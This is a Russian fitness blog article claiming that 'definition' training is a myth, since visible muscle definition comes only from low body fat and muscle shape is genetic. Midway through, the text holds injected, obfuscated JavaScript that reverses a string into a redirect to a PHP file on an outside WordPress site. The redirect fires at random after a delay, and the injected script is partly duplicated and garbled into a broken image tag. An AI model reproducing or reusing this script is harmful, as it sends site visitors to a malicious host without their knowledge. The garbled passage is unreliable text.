Тренировка на рельеф — это миф!

Тренировочная практика приучила нас разделять тренинг на силу и тренинг на «рельеф». Если с силовым тренингом все более-менее ясно, то тренировка на «рельеф» сама по себе является мифом. Данное утверждение, на первый взгляд, кажется абсурдным, однако легко доказывается с научной точки зрения.

Начнем с того, что рельефным может быть тело, а не мышцы. Если с человека снять кожу и убрать жир, то вы увидите, что его мышцы сами по себе полностью прорисованы и рельефны. Да, они могут быть большими или маленькими, сильными или слабыми, но самого понятия «рельефность мускулатуры» нет и быть не может! Тело можно назвать рельефным лишь в одном случае – если у него низкий процент подкожного жира! Ведь нередко люди с низкой мышечной массой и небольшим процентом жира смотрятся как анатомический атлас.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.jpg» alt=»» width=»700″ height=»348″ />

Необходимо понимать, что единственным внешним изменениям, которым подвержены мышцы, являются гипертрофия (увеличение в размерах) и атрофия (уменьшение в размерах). Сама по себе мышца не может менять своей формы (за исключением мышц, состоящих из пучков, расположенных в разных направлениях и выполняющих разные функции). Единственное, на что способна мышца – увеличение своего размера, не более того (причем размер увеличивается целиком у всей мышцы)! Весь тот вид, который вы наблюдаете у профессиональных атлетов, является не результатом их тренировок, а генетикой – у одних короткий бицепс, у других пик бицепса приходится ровно на середину мышцы, у третьих он немного смещен, и тому подобное. Поймите, что все они делают примерно одни и те же упражнения, поэтому вид их мускулатуры при мощной гипертрофии зависит лишь от наследственности.

Единственное, что должно волновать нас – это увеличение объема мышц, то есть их рост. Все остальное побочно и зависит лишь от количества жира под кожей. Для обеспечения непрерывного роста мышц необходимо периодически изменять характер нагрузки – число повторений, рабочий вес, скорость выполнения упражнения и тому подобное. Не идите по пути стереотипов и «гуру» бодибилдинга, призывающих качать «рельеф» или «пик бицепса», все они находятся в плену своего дилетантизма и не имеют ни малейшего понятия о том, как работает та или иная мышца.

Вывод

Любая мышца имеет лишь один визуальный параметр – это размер. Тренинга «на рельеф» не существует, ведь для «прорисовки» мышц достаточно просто сжечь подкожный жир. Общий вид мускулатуры профессиональных бодибилдеров (развитость пика бицепса, длина трапециевидных мышц и тд.) обусловлен их наследственностью, а не особенностями их тренировок.

Друзья, поддержите нашу группу в Фейсбуке, поделитесь этим постом с друзьями или нажмите кнопку «Мне нравится!» и Вы всегда будете в курсе свежих новостей «Дежурной Качалки»!

Для вас мы собираем лучшие тренировки, рекомендации по правильному питанию и конечно же юмор из мира красивых, энергичных и здоровых людей — таких как мы с вами!

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector